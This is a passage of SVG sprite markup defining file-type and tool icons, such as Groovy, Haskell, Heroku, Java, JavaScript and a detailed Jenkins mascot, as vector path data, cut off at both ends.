31.907 31.907c0 17.554-14.262 31.907-31.907 31.907m0-294.206c-17.645 0-31.907-14.262-31.907-31.907s14.262-31.907 31.907-31.907 31.907 14.262 31.907 31.907-14.262 31.907-31.907 31.907" fill="#ec407a" stroke-width="6.803" stroke="#ec407a"/></symbol><symbol viewBox="0 0 24 24" id="groovy" xmlns="http://www.w3.org/2000/svg"><path d="M12 1.982a10.119 10.119 0 0 0-10.12 10.12A10.119 10.119 0 0 0 12 22.22 10.119 10.119 0 0 0 22.12 12.1 10.119 10.119 0 0 0 12 1.983zm1.254 2.422c.91 0 1.647.261 2.213.78.571.518.857 1.188.857 2.013 0 .889-.319 1.673-.959 2.35-.64.677-1.376 1.015-2.207 1.015-.486 0-.89-.119-1.213-.357-.317-.238-.476-.532-.476-.88 0-.212.06-.4.181-.563.127-.164.274-.246.438-.246.159 0 .238.092.238.277 0 .164.06.29.182.38.121.09.261.136.42.136.423 0 .828-.29 1.215-.866.391-.582.587-1.202.587-1.863 0-.465-.151-.844-.453-1.135-.301-.296-.69-.445-1.166-.445-.714 0-1.406.318-2.078.953-.666.635-1.211 1.47-1.635 2.506-.417 1.031-.627 2.014-.627 2.945 0 .857.185 1.54.555 2.047.37.503.863.754 1.477.754 1.037 0 2.027-.734 2.974-2.2l1.493-.212c.185-.026.277.018.277.135 0 .053-.072.28-.215.681-.143.402-.337 1.074-.586 2.016.82-.476 1.455-1.003 1.904-1.58v.914c-.36.418-1.046.888-2.062 1.412-.212 1.407-.682 2.493-1.406 3.26-.725.772-1.54 1.16-2.444 1.16-.433 0-.775-.102-1.023-.303-.243-.2-.365-.477-.365-.832 0-.984.955-1.94 2.865-2.865.2-.714.395-1.356.586-1.928-.333.482-.817.907-1.451 1.278-.635.37-1.225.554-1.77.554-.889 0-1.628-.383-2.22-1.15-.588-.772-.881-1.748-.881-2.928 0-1.243.333-2.42 1-3.531a7.747 7.747 0 0 1 2.625-2.674c1.084-.672 2.134-1.008 3.15-1.008zM12.03 16.592c-1.375.687-2.062 1.365-2.062 2.031 0 .354.169.533.508.533.666 0 1.184-.856 1.554-2.564z" fill="#26c6da"/></symbol><symbol viewBox="0 0 24 24" id="gulp" xmlns="http://www.w3.org/2000/svg"><path d="M8.37 15.94a596.238 596.238 0 0 1-.482-4.982c.002-.042-.225-.077-.505-.077h-.508V8.95h3.966V5.198l1.871-1.124c1.14-.685 1.978-1.125 2.144-1.125.4 0 .866.506.866.939 0 .19-.057.422-.127.517-.07.095-.722.53-1.45.966l-1.321.792-.029 1.393-.028 1.393h3.972v1.932h-.98l-.495 4.983-.495 4.983H8.854l-.485-4.906z" fill="#e53935"/></symbol><symbol viewBox="0 0 24 24" id="h" xmlns="http://www.w3.org/2000/svg"><path d="M16.745 19.818h-3.007v-5.882q0-2.381-1.736-2.381-.869 0-1.438.663-.56.662-.56 1.718v5.882H6.988V4.533h3.016v6.508h.037q1.186-1.802 3.193-1.802 3.511 0 3.511 4.239z" stroke-width=".478" fill="#0277bd"/></symbol><symbol viewBox="0 0 253.6 253.6" id="hack" xmlns="http://www.w3.org/2000/svg"><g transform="translate(-29.243 -29.515) scale(1.2301)"><path fill="#607d8b" d="M69.496 159.551v52.576l51.77-52.576zM123.507 41.523l-54.01 52.755v55.084l54.01-54.009z"/><path fill="#eceff1" d="M130.023 95.663v51.501l52.128-51.5z"/><path fill="#607d8b" d="M185.465 101.867l-55.442 55.174v55.083l55.442-55.262z"/><path fill="#ffa000" d="M73.068 154.283l50.427.09v-50.248z"/></g></symbol><symbol viewBox="0 0 300 300.00001" id="haml" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 165.6)"><path d="M78.42-132.307c-12.047-.302-26.924 5.998-26.924 5.998l49.195 99.791L74.605 85.005c23.81 20.134 50.07 10.504 50.07 10.504L136.76 9.212c1.526 1.446 3.146 2.77 4.777 3.995 5.244 3.714 10.925 6.553 16.606 8.738 5.68 2.185 11.583 3.933 17.482 5.244 3.933.874 7.645 1.53 11.578 1.967-1.748 3.933-2.84 8.083-2.621 12.672 0 .437.22.873.656 1.092h.217c4.152 2.185 8.521 3.934 13.328 5.027 4.589.874 9.615 1.312 14.422.656 5.026-.655 10.051-2.623 13.984-5.9 3.933-3.278 6.774-7.648 8.522-12.237l.219-.218v-.217l.656-5.899v-.22c2.185-1.311 4.37-2.621 6.555-4.37 2.622-2.184 5.025-4.589 6.773-7.648 1.748-3.059 2.84-6.774 2.621-10.488-.218-3.496-1.53-6.99-3.06-10.049-1.53-3.059-3.495-5.901-5.68-8.523-4.37-5.026-9.614-9.176-15.295-12.454-5.462-3.496-11.581-6.338-17.7-8.304l-2.404-.656-1.962-.655c-1.311-.437-2.406-1.092-3.498-1.53-2.185-1.31-3.717-2.622-4.809-4.37-2.185-3.278-2.403-8.301-1.31-13.545.218-1.311.656-2.623 1.093-3.934a96.064 96.064 0 0 0 1.31-4.152c.314-1.412.51-2.829.598-4.402l29.203-25.553c-2.275-8.404-27.488-17.158-27.488-17.158l-74.931 63.726-43.243-81.584c-1.553-.35-3.218-.527-4.94-.57zm107.682 73.14c-.449 2.336-.647 4.795-.647 7.258.219 3.715 1.311 7.87 3.715 11.366 2.403 3.496 5.68 6.117 8.957 7.646a29.663 29.663 0 0 0 5.027 1.967l2.623.654 2.184.438c5.68 1.53 11.142 3.714 16.168 6.554 5.025 2.84 9.833 6.337 13.766 10.27s6.992 8.959 7.43 13.984c.218 3.496-.22 6.118-1.313 8.303-1.093 2.404-2.84 4.588-4.807 6.555-.874.874-1.966 1.747-2.84 2.402a27.11 27.11 0 0 0-.654-5.898c-.219-1.093-.438-1.966-.875-3.059-.437-.874-.872-1.966-1.965-2.621-.218 0-.44-.001-.44.217-1.31 3.277-3.494 6.12-5.898 8.086-2.403 1.966-5.462 2.84-8.521 3.058-3.06.219-6.338-.436-9.616-1.31-3.277-.874-6.552-1.968-9.83-3.06l-.439-.22c-.656-.218-1.526.002-1.963.44-1.748 2.185-3.06 4.149-4.59 6.334a58.435 58.435 0 0 0-2.84 5.027c-3.933-1.53-7.649-2.841-11.582-4.37-5.462-2.186-10.925-4.37-15.95-6.991-5.245-2.404-10.268-5.246-14.638-8.524-3.15-2.363-6.062-4.845-8.185-7.681l2.404-17.172z" fill="#f4511e" stroke-width="0" stroke-linejoin="round"/></g></symbol><symbol viewBox="0 0 24 24" id="handlebars" xmlns="http://www.w3.org/2000/svg"><path d="M8.55 10.32c-2.753 0-4.202 3.48-5.793 3.48-.98 0-1.126-.677-1.126-.915 0-.332.236-.706.564-.706.59 0 .414.77.414.77s.798-.555.272-1.298c-.42-.595-1.31-.623-1.92-.17-.617.458-1.057 1.146-.853 2.287.1.551.468 1.35 1.233 1.805.764.455 1.925.566 2.335.566 2.194 0 4.342-1.633 6.639-2.322a5.513 5.513 0 0 1 1.497-.222 6.19 6.19 0 0 1 1.92.226c2.296.689 4.444 2.323 6.638 2.323.41 0 1.57-.11 2.335-.566.765-.455 1.132-1.256 1.231-1.807.204-1.14-.235-1.829-.853-2.287-.61-.453-1.497-.423-1.918.172-.526.743.27 1.297.27 1.297s-.176-.77.414-.77c.329 0 .565.373.565.705 0 .238-.147.914-1.126.914-1.592 0-3.04-3.478-5.794-3.478-2.565 0-3.076 1.177-3.462 1.718-.004.005-.005.011-.008.016-.005-.006-.007-.013-.012-.02-.386-.54-.896-1.717-3.461-1.717z" fill="#ff7043" fill-rule="evenodd" stroke-width=".3"/></symbol><symbol viewBox="0 0 300.00001 300" id="haskell" xmlns="http://www.w3.org/2000/svg"><g stroke-width="2.422"><path d="M23.928 240.5l59.94-89.852-59.94-89.855h44.955l59.94 89.855-59.94 89.852z" fill="#ef5350"/><path d="M83.869 240.5l59.94-89.852-59.94-89.855h44.955l119.88 179.71h-44.95l-37.46-56.156-37.468 56.156z" fill="#ffa726"/><path d="M228.72 188.08l-19.98-29.953h69.93v29.956h-49.95zm-29.97-44.924l-19.98-29.953h99.901v29.953z" fill="#ffee58"/></g></symbol><symbol viewBox="0 0 210 210" id="haxe" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 -87)"><path fill="#f68712" stroke-width=".221" d="M42.78 191.545l63.431-63.43 63.431 63.43-63.431 63.431z"/><path d="M42.8 191.592L31.193 148.28 19.59 104.97 62.9 116.575l43.311 11.605-31.706 31.706z" fill="#fab20b" stroke-width=".266"/><path d="M105.956 128.111l-43.19-11.544-43.177-11.597 22.927.185 23.228.294 20.264 11.36z" fill="#fbc707" stroke-width=".265"/><path d="M19.59 104.97l11.596 43.176 11.545 43.19-11.303-19.948-11.36-20.263-.294-23.228z" fill="#fff200" stroke-width=".265"/><path d="M106.23 128.133l43.312-11.605 43.311-11.605-11.605 43.31-11.605 43.312-31.706-31.706z" fill="#f47216" stroke-width=".266"/><path d="M169.711 191.289l11.545-43.19 11.597-43.176-.185 22.927-.294 23.228-11.36 20.263z" fill="#f1471d" stroke-width=".265"/><path d="M192.853 104.923l-43.176 11.597-43.19 11.544 19.947-11.303 20.264-11.36 23.228-.293z" fill="#fbc707" stroke-width=".265"/><path d="M169.643 191.545l11.605 43.31 11.605 43.312-43.311-11.605-43.311-11.606 31.706-31.705z" fill="#f25c19" stroke-width=".266"/><path d="M106.487 255.025l43.19 11.544 43.176 11.598-22.927-.185-23.228-.294-20.264-11.36z" fill="#f68712" stroke-width=".265"/><path d="M192.853 278.167l-11.597-43.176-11.545-43.19 11.303 19.947 11.36 20.264.294 23.228z" fill="#f1471d" stroke-width=".265"/><path d="M106.211 254.976l-43.31 11.605-43.312 11.605 11.605-43.31L42.8 191.563l31.706 31.706z" fill="#f89c0e" stroke-width=".266"/><path d="M42.731 191.82l-11.545 43.19-11.597 43.176.185-22.927.294-23.228 11.36-20.263z" fill="#fff200" stroke-width=".265"/><path d="M19.59 278.186l43.175-11.597 43.19-11.544-19.947 11.303-20.264 11.36-23.228.293z" fill="#f25c19" stroke-width=".265"/></g></symbol><symbol viewBox="0 0 144 152" id="heroku" xmlns="http://www.w3.org/2000/svg"><path d="M118.68 13.279H26.865c-6.337 0-11.476 5.139-11.476 11.476V129.32c0 6.338 5.139 11.477 11.476 11.477h91.813c6.338 0 11.477-5.14 11.477-11.477V24.755c0-6.337-5.139-11.476-11.477-11.476zM44.08 121.669V96.165l14.346 12.752zm44.632 0v-38.08c-.063-2.976-1.496-6.551-7.97-6.551-12.966 0-27.51 6.52-27.654 6.586l-9.008 4.08V32.407h12.752v36.201c6.366-2.072 15.266-4.321 23.91-4.321 7.882 0 12.6 3.099 15.17 5.698 5.484 5.547 5.56 12.613 5.551 13.43v38.255zm3.188-68.54H79.149c5.011-6.576 8.158-13.496 9.564-20.723h12.751c-.86 7.243-3.796 14.187-9.563 20.722z" fill="#6963b9"/></symbol><symbol viewBox="0 0 24 24" id="hpp" xmlns="http://www.w3.org/2000/svg"><path d="M9.757 19.818H6.751v-5.882q0-2.381-1.737-2.381-.868 0-1.438.663-.56.662-.56 1.718v5.882H0V4.533h3.016v6.508h.037Q4.24 9.239 6.247 9.239q3.51 0 3.51 4.239z" stroke-width=".478" fill="#0277bd"/><path d="M13.073 11.448v2h-2v2h2v2h2v-2h2v-2h-2v-2zm7 0v2h-2v2h2v2h2v-2h2v-2h-2v-2z" fill="#0277bd"/></symbol><symbol viewBox="0 0 24 24" id="html" xmlns="http://www.w3.org/2000/svg"><path d="M12 17.56l4.07-1.13.55-6.1H9.38L9.2 8.3h7.6l.2-1.99H7l.56 6.01h6.89l-.23 2.58-2.22.6-2.22-.6-.14-1.66h-2l.29 3.19L12 17.56M4.07 3h15.86L18.5 19.2 12 21l-6.5-1.8L4.07 3z" fill="#e44d26"/></symbol><symbol viewBox="0 0 24 24" id="http" xmlns="http://www.w3.org/2000/svg"><path d="M16.046 13.784c.074-.613.13-1.225.13-1.856s-.056-1.244-.13-1.856h3.137c.148.594.241 1.215.241 1.856a7.65 7.65 0 0 1-.241 1.856m-4.78 5.16c.557-1.03.984-2.144 1.281-3.304h2.738a7.452 7.452 0 0 1-4.019 3.304m-.232-5.16H9.828a12.314 12.314 0 0 1-.149-1.856c0-.631.056-1.253.149-1.856h4.343c.084.603.149 1.225.149 1.856 0 .63-.065 1.243-.149 1.856M12 19.315c-.77-1.113-1.393-2.348-1.773-3.675h3.545c-.38 1.327-1.002 2.562-1.773 3.675m-3.712-11.1h-2.71a7.353 7.353 0 0 1 4.01-3.304c-.557 1.03-.975 2.144-1.3 3.304m-2.71 7.425h2.71c.325 1.16.743 2.274 1.3 3.304a7.433 7.433 0 0 1-4.01-3.304m-.761-1.856a7.65 7.65 0 0 1-.241-1.856c0-.64.093-1.262.241-1.856h3.137c-.074.612-.13 1.225-.13 1.856 0 .63.056 1.243.13 1.856m4.046-9.253c.77 1.114 1.393 2.357 1.773 3.684h-3.545c.38-1.327 1.002-2.57 1.773-3.684m6.422 3.684h-2.738a14.523 14.523 0 0 0-1.28-3.304 7.412 7.412 0 0 1 4.018 3.304m-6.423-5.568c-5.132 0-9.28 4.176-9.28 9.28a9.28 9.28 0 0 0 9.28 9.282 9.28 9.28 0 0 0 9.281-9.281A9.28 9.28 0 0 0 12 2.647z" fill="#e53935" stroke-width=".928"/></symbol><symbol viewBox="0 0 24 24" id="image" xmlns="http://www.w3.org/2000/svg"><path d="M13.009 9.202h5.368l-5.368-5.368v5.368M6.177 2.37h7.808l5.856 5.856v11.711a1.952 1.952 0 0 1-1.952 1.952H6.178a1.951 1.951 0 0 1-1.952-1.952V4.322c0-1.083.868-1.952 1.952-1.952m0 17.567h11.71V12.13l-3.903 3.903-1.952-1.951-5.856 5.855M8.13 9.202a1.952 1.952 0 0 0-1.952 1.952 1.952 1.952 0 0 0 1.952 1.952 1.952 1.952 0 0 0 1.952-1.952A1.952 1.952 0 0 0 8.13 9.202z" fill="#26a69a" stroke-width=".976"/></symbol><symbol viewBox="0 0 512 512" id="ionic" xmlns="http://www.w3.org/2000/svg"><g fill="#4f8ff7"><path d="M423.592 132.804A31.855 31.855 0 0 0 429 115c0-17.675-14.33-32-32-32a31.853 31.853 0 0 0-17.805 5.409C344.709 63.015 302.11 48 256 48 141.125 48 48 141.125 48 256c0 114.877 93.125 208 208 208 114.873 0 208-93.123 208-208 0-46.111-15.016-88.71-40.408-123.196zM391.83 391.832c-17.646 17.646-38.191 31.499-61.064 41.174-23.672 10.012-48.826 15.089-74.766 15.089-25.94 0-51.095-5.077-74.767-15.089-22.873-9.675-43.417-23.527-61.064-41.174s-31.5-38.191-41.174-61.064C68.982 307.096 63.905 281.94 63.905 256c0-25.94 5.077-51.095 15.089-74.767 9.674-22.873 23.527-43.417 41.174-61.064s38.191-31.5 61.064-41.174c23.673-10.013 48.828-15.09 74.768-15.09 25.939 0 51.094 5.077 74.766 15.089a191.221 191.221 0 0 1 37.802 21.327A31.853 31.853 0 0 0 365 115c0 17.675 14.327 32 32 32 5.293 0 10.28-1.293 14.678-3.568a191.085 191.085 0 0 1 21.327 37.801c10.013 23.672 15.09 48.827 15.09 74.767 0 25.939-5.077 51.096-15.09 74.768-9.675 22.873-23.527 43.418-41.175 61.064z"/><circle cx="256.003" cy="256" r="96"/></g></symbol><symbol viewBox="0 0 24 24" id="java" xmlns="http://www.w3.org/2000/svg"><path d="M2 21h18v-2H2M20 8h-2V5h2m0-2H4v10a4 4 0 0 0 4 4h6a4 4 0 0 0 4-4v-3h2a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2z" fill="#f44336"/></symbol><symbol viewBox="0 0 24 24" id="javascript" xmlns="http://www.w3.org/2000/svg"><path d="M3 3h18v18H3V3m4.73 15.04c.4.85 1.19 1.55 2.54 1.55 1.5 0 2.53-.8 2.53-2.55v-5.78h-1.7V17c0 .86-.35 1.08-.9 1.08-.58 0-.82-.4-1.09-.87l-1.38.83m5.98-.18c.5.98 1.51 1.73 3.09 1.73 1.6 0 2.8-.83 2.8-2.36 0-1.41-.81-2.04-2.25-2.66l-.42-.18c-.73-.31-1.04-.52-1.04-1.02 0-.41.31-.73.81-.73.48 0 .8.21 1.09.73l1.31-.87c-.55-.96-1.33-1.33-2.4-1.33-1.51 0-2.48.96-2.48 2.23 0 1.38.81 2.03 2.03 2.55l.42.18c.78.34 1.24.55 1.24 1.13 0 .48-.45.83-1.15.83-.83 0-1.31-.43-1.67-1.03l-1.38.8z" fill="#ffca28"/></symbol><symbol viewBox="0 0 24 24" id="javascript-map" xmlns="http://www.w3.org/2000/svg"><path d="M18 8v2h2v10H10v-2H8v4h14V8h-4z" fill="#ffca28"/><path d="M2.444 2.506h14.135v14.136H2.444V2.506m3.714 11.811c.315.668.935 1.218 1.995 1.218 1.178 0 1.987-.629 1.987-2.003V8.993H8.805v4.508c0 .675-.275.848-.707.848-.455 0-.644-.314-.856-.683l-1.084.651m4.697-.14c.392.769 1.185 1.358 2.426 1.358 1.257 0 2.199-.652 2.199-1.854 0-1.107-.636-1.602-1.767-2.089l-.33-.141c-.573-.243-.816-.408-.816-.801 0-.322.243-.573.636-.573.377 0 .628.165.856.573l1.028-.683c-.432-.754-1.044-1.045-1.884-1.045-1.186 0-1.948.754-1.948 1.752 0 1.083.636 1.594 1.594 2.002l.33.141c.613.267.974.432.974.888 0 .377-.354.652-.903.652-.652 0-1.029-.338-1.312-.81l-1.083.63z" fill="#ffca28"/></symbol><symbol viewBox="0 0 180 180" id="jenkins" xmlns="http://www.w3.org/2000/svg"><defs><clipPath id="gia"><path transform="scale(1 -1)" fill="#37474f" d="M.899-144.42h144.42V0H.899z"/></clipPath></defs><g transform="matrix(1.0691 0 0 -1.0691 9.4 166.143)" clip-path="url(#gia)"><g fill-rule="evenodd"><path d="M107.96 30.661l-12.506-1.876-16.883-1.876-10.943-.312-10.629.312-8.13 2.502-7.19 7.815-5.628 15.945-1.25 3.44-7.504 2.5-4.377 7.191-3.126 10.317 3.44 9.067 8.128 2.814 6.565-3.127 3.127-6.878 3.752.626 1.25 1.563-1.25 7.19-.313 9.068 1.876 12.505-.074 7.143 5.701 9.114 10.005 7.19 17.508 7.504 19.383-2.814 16.883-12.193 7.817-12.505 5.002-9.067 1.25-22.51-3.752-19.384-6.877-17.195-6.566-9.066" fill="#f0d6b7"/><path d="M97.334-23.425l-44.709-1.876v-7.503l3.752-26.262-1.876-2.19-31.264 10.63-2.19 3.752-3.126 35.328-7.19 21.26-1.563 5.002 25.01 17.195 7.818 3.127 6.877-8.441 5.94-5.315 6.88-2.188 3.125-.938L68.57 1.899l2.814-3.44 7.19 2.502-5.002-9.693 27.2-12.818-3.439-1.876" fill="#335061"/><path d="M23.238 85.687l8.128 2.814 6.566-3.127 3.127-6.878 3.751.626.938 3.751-1.876 7.19 1.876 17.197-1.563 9.379 5.627 6.565 12.193 9.692-3.44 4.69-17.194-8.442-7.191-5.627-4.064-8.754-6.253-8.442-1.876-10.005 1.251-10.63" fill="#6d6b6d"/><path d="M36.055 115.07s4.69 11.567 23.448 17.195c18.759 5.628.938 4.065.938 4.065l-20.321-7.817-7.817-7.816-3.438-6.253 7.19.626M26.676 87.875s-6.566 21.886 18.446 25.012l-.938 3.752-17.195-4.065-5.003-16.257 1.251-10.63 3.439 2.188" fill="#dcd9d8"/></g><g fill="#f7e4cd"><path d="M36.681 58.799l4.094 3.966s1.847-.214 2.16-2.402c.312-2.19 1.25-21.886 14.693-32.516 1.227-.97-10.004 1.564-10.004 1.564L37.62 45.042M94.209 64.739s.729 9.477 3.28 8.748c2.553-.729 2.553-3.28 2.553-3.28s-6.198-4.01-5.833-5.468" fill-rule="evenodd"/><path d="M120.16 99.442s-5.153-1.088-5.628-5.628c-.474-4.54 5.628-.938 6.566-.625M82.327 99.129s-6.879-.938-6.879-5.314c0-4.378 7.817-4.065 10.005-2.19"/><g fill-rule="evenodd"><path d="M39.807 78.808s-11.881 7.191-13.131.312c-1.25-6.877-4.065-11.88 1.876-19.07l-4.064 1.25-3.752 9.691-1.25 9.38 7.19 7.504 8.129-.626 4.69-3.751.312-4.69M45.435 98.504s5.315 27.512 32.203 32.827c22.136 4.375 33.765-.938 38.142-5.94 0 0-19.696 23.447-38.455 16.257-18.759-7.191-32.514-20.322-32.202-28.762.532-14.377.313-14.382.313-14.382M117.97 122.27s-9.066.312-9.38-7.817c0 0 0-1.25.625-2.5 0 0 7.192 8.129 11.568 3.751"/><path d="M78.268 111.1s-1.56 12.477-12.199 5.223c-6.878-4.69-6.252-11.255-5.002-12.505s.91-3.77 1.862-2.04c.952 1.728.638 7.356 4.078 8.918 3.439 1.564 9.077 3.31 11.26.404"/></g></g><g fill="#49728b" fill-rule="evenodd"><path d="M48.874 26.597L19.486 13.466s12.193-48.46 5.94-63.467l-4.377 1.563-.313 18.446-8.128 35.015-3.44 9.692 30.639 20.633 9.067-8.753M51.896-.206l4.17-5.087v-18.76h-5.003s-.625 13.132-.625 14.696c0 1.563.624 7.19.624 7.19M52-26.866l-14.069-.625 4.065-2.813L52-31.868"/></g><g fill-rule="evenodd"><path d="M100.15-23.739l11.567.313 2.814-28.764-11.881-1.563-2.5 30.014" fill="#335061"/><path d="M103.27-23.739l17.508.938s7.19 18.133 7.19 19.07c0 .939 6.253 26.263 6.253 26.263l-14.069 14.694-2.813 2.501-7.504-7.503V3.148l-6.565-26.887" fill="#335061"/><path d="M111.09-21.55l-10.942-2.188 1.563-8.755c4.064-1.876 10.943 3.127 10.943 3.127M111.4 33.162l21.885-16.257.626 7.503-16.57 15.32-5.94-6.566" fill="#49728b"/><path d="M62.85-85.332l-6.473 26.266-3.22 19.38-.531 14.385 29.296 1.56 18.226.003-1.658-32.83 2.814-25.324-.312-4.69-23.76-1.876-14.382 3.126" fill="#fff"/><path d="M96.083-23.426s-1.563-32.515 3.127-55.65c0 0-9.38-5.94-23.136-7.503l26.262.938 3.126 1.875-3.752 51.273-.938 10.944" fill="#dcd9d8"/><path d="M115.06-49.691l12.193 3.44 23.135 1.25 3.44 10.629-6.254 18.446-7.19.938-10.005-3.127-9.599-4.686-5.095.935-3.972-1.56" fill="#fff"/><path d="M114.84-43.435s8.128 3.751 9.38 3.438L120.78-22.8l4.065 1.563s2.814-16.257 2.814-18.133c0 0 17.507-.938 19.07-.938 0 0 3.752 7.191 2.814 14.694l3.44-10.005.312-5.628-5.002-7.503-5.627-1.25-9.38.312-3.126 4.064-10.943-1.563-3.44-1.25" fill="#dcd9d8"/></g><path d="M102.56-21.241L95.682-3.733l-7.19 10.317s1.562 4.377 3.75 4.377h7.192l6.878-2.501-.625-11.568-3.127-18.134" fill="#fff"/><path d="M103.9-15.297S95.145 1.585 95.145 4.086c0 0 1.563 3.752 3.752 2.814 2.19-.938 6.879-3.439 6.879-3.439v5.94l-10.63 2.19-7.19-.939 12.193-28.763 2.5-.313" fill="#dcd9d8" fill-rule="evenodd"/><path d="M65.664 25.968l-8.661.942-8.13 2.501v-2.814l3.972-4.38 12.506-5.627" fill="#fff"/><path d="M51.689 25.031s9.693-4.065 12.819-3.127l.311-3.748-8.752 1.872-5.316 3.752.938 1.251" fill="#dcd9d8" fill-rule="evenodd"/><path d="M115.03 9.897c-5.305.156-10.098.786-14.294 1.97.285 1.72-.249 3.408.18 4.647 1.17.843 3.13.83 4.898 1.027-1.529.752-3.677 1.049-5.44.615-.042 1.194-.578 1.934-.902 2.868 2.982 1.064 10.024 8.044 13.984 5.732 1.887-1.099 2.689-7.377 2.835-10.43.122-2.533-.23-5.088-1.261-6.43" fill="#d33833" fill-rule="evenodd"/><path d="M115.03 9.897c-5.305.156-10.098.786-14.294 1.97.285 1.72-.249 3.408.18 4.647 1.17.843 3.13.83 4.898 1.027-1.529.752-3.677 1.049-5.44.615-.042 1.194-.578 1.934-.902 2.868 2.982 1.064 10.024 8.044 13.984 5.732 1.887-1.099 2.689-7.377 2.835-10.43.122-2.533-.23-5.088-1.261-6.43z" fill="none" stroke="#d33833" stroke-width="2"/><path d="M89.66 18.569c-.014-.401-.03-.806-.047-1.21-1.656-1.089-4.33-1.076-6.148-1.99 2.68-.117 4.79-.763 6.614-1.672l-.118-3.033c-3.036-2.078-5.81-5.173-9.384-7.122-1.69-.922-7.622-3.294-9.42-2.875-1.017.236-1.109 1.499-1.516 2.689-.866 2.548-2.861 6.605-3.035 10.44-.222 4.846-.71 12.967 4.51 11.969 4.213-.804 9.113-2.745 12.375-4.527 1.993-1.09 3.146-2.436 6.17-2.669" fill="#d33833" fill-rule="evenodd"/><path d="M89.66 18.569c-.014-.401-.03-.806-.047-1.21-1.656-1.089-4.33-1.076-6.148-1.99 2.68-.117 4.79-.763 6.614-1.672l-.118-3.033c-3.036-2.078-5.81-5.173-9.384-7.122-1.69-.922-7.622-3.294-9.42-2.875-1.017.236-1.109 1.499-1.516 2.689-.866 2.548-2.861 6.605-3.035 10.44-.222 4.846-.71 12.967 4.51 11.969 4.213-.804 9.113-2.745 12.375-4.527 1.993-1.09 3.146-2.436 6.17-2.669z" fill="none" stroke="#d33833" stroke-width="2"/><path d="M92.675 12.788c-.463 2.64-.999 3.393-.792 5.695 7.04 4.693 8.361-8.061.792-5.695" fill="#d33833" fill-rule="evenodd"/><path d="M92.675 12.788c-.463 2.64-.999 3.393-.792 5.695 7.04 4.693 8.361-8.061.792-5.695z" fill="none" stroke="#d33833" stroke-width="2"/><path d="M102.87 10.649s-2.19 3.127-.626 4.065c1.564.938 3.127 0 4.065 1.563s0 2.501.313 4.377 1.877 2.189 3.44 2.501c1.562.313 5.94.938 6.565-.625l-1.876 5.627-3.752 1.25-11.88-6.877-.626-3.44v-6.877M70.041.331c-.376 4.88-.773 9.752-1.215 14.626-.662 7.279 1.748 6.009 8.057 6.009.964 0 5.933-1.15 6.289-1.876 1.705-3.483-2.851-2.709 1.964-5.335 4.065-2.216 11.246 1.346 9.603 6.273-.919 1.095-4.789.341-6.176 1.06l-7.327 3.8c-3.108 1.612-10.29 3.962-13.603 1.709-8.395-5.71.53-19.974 3.524-25.93" fill="#ef3d3a" fill-rule="evenodd"/><g fill="#231f20" fill-rule="evenodd"><path d="M78.268 111.1c-8.521 1.985-12.755-3.566-15.338-9.323-2.306.559-1.389 3.695-.806 5.294 1.525 4.194 7.672 9.778 12.694 9.02 2.161-.325 5.086-2.301 3.45-4.99M119.79 101.4l.404-.016c1.926-4 3.593-8.238 6.022-11.769-1.628-3.79-12.322-7.144-12.157-.338 2.313 1.01 6.305.206 8.356 1.497-1.186 3.254-2.897 6.024-2.625 10.626M82.63 101.29c1.827-3.35 2.422-6.868 5.019-9.4 1.17-1.14 3.444-2.529 2.316-5.698-.263-.747-2.189-2.414-3.3-2.741-4.06-1.2-13.521-.248-10.317 4.814 3.358-.157 7.871-2.18 10.38.257-1.927 3.081-5.363 9.177-4.098 12.768M118.26 67.253c-6.113-3.927-12.93-8.197-22.947-7.207-2.14 1.86-2.956 6.002-.877 8.737 1.082-1.861.402-5.284 3.419-5.799 5.684-.972 12.299 3.477 16.387 5.032 2.535 4.275-.219 5.847-2.503 8.597-4.675 5.636-10.947 12.622-10.72 21.06 1.89 1.37 2.053-2.092 2.325-2.722 2.44-5.714 8.585-13.021 13.07-17.912 1.1-1.205 2.914-2.36 3.115-3.157.582-2.315-1.513-5.09-1.27-6.63M37.668 71.387c-1.916 1.094-2.372 5.91-4.622 6.048-3.215.195-2.629-6.25-2.616-10.018-2.213 2.009-2.602 8.194-.976 11.37-1.853.91-2.68-1.003-3.708-1.677 1.32 9.595 14.036 4.45 11.922-5.723M122.15 63.257c-2.846-5.417-6.871-11.382-15.222-11.555-.17 1.75-.3 4.411.009 5.464 6.384.614 10.325 3.863 15.212 6.091M82.149 59.745c5.326-2.8 15.114-3.102 22.353-2.89.388-1.586.379-3.545.394-5.48-9.305-.463-20.307 1.84-22.747 8.37M81.136 54.523c3.683-9.247 16.341-8.182 27.016-7.927-.47-1.2-1.489-2.62-2.755-3.132-3.42-1.392-12.855-2.448-17.604.074-3.011 1.601-4.946 5.219-6.596 7.34-.797 1.024-4.765 3.64-.06 3.645"/></g><path d="M117.82 3.516c-4.322-7.402-8.457-15.005-13.585-21.534 2.15 6.32 3.07 16.9 3.394 24.965 4.498 2.105 8.349-.474 10.191-3.43" fill="#81b0c4" fill-rule="evenodd"/><g fill="#231f20" fill-rule="evenodd"><path d="M141.07-23.089c-4.839-.969-8.239-5.671-12.959-5.37 2.594 3.658 7.14 5.2 12.959 5.37M143.21-30.661c-3.944-.417-8.576-1.055-12.577-.726 1.894 2.892 9.19 1.894 12.577.726M144.58-37.19c-4.433-.096-9.942-.008-14.155.346 2.492 2.677 11.28.993 14.155-.346"/></g><g fill-rule="evenodd"><path d="M109.48-55.057c.636-5.567 2.843-11.207 2.566-17.304-2.45-.827-3.858-1.55-7.142-1.545-.232 5.181-.925 13.102-.718 18.041 1.615-.107 3.997 1.154 5.294.808" fill="#dcd9d8"/><path d="M102.33 26.985c-2.226-1.453-4.121-3.267-6.259-4.818-4.74-.235-7.327.328-10.81 3.05.057.219.407.121.42.39 5.075-2.262 11.524.92 16.648 1.378" fill="#f0d6b7"/><path d="M75.694-7.603c1.394 6.04 6.857 9.17 11.817 12.497 5.12-6.498 8.234-14.855 11.663-22.92-8.102 2.443-16.38 6.406-23.481 10.423" fill="#81b0c4"/><path d="M104.18-55.865c-.207-4.94.486-12.86.718-18.041 3.283-.004 4.691.718 7.142 1.545.276 6.096-1.93 11.737-2.566 17.304-1.298.346-3.679-.914-5.294-.808zm-51.13 28.09c2.165-19.906 5.301-36.639 11.054-54.266 12.766-3.876 28.157-4.214 39.441-.716-2.072 9.948-1.167 22.06-2.378 32.677-.912 7.98-.447 16.009-1.698 24.15-13.673 2.844-33 .665-46.418-1.845zm49.651 1.72c-.115-8.549.383-16.982 1.036-25.542 3.282.493 5.51.822 8.56 1.49-.99 8.241-.869 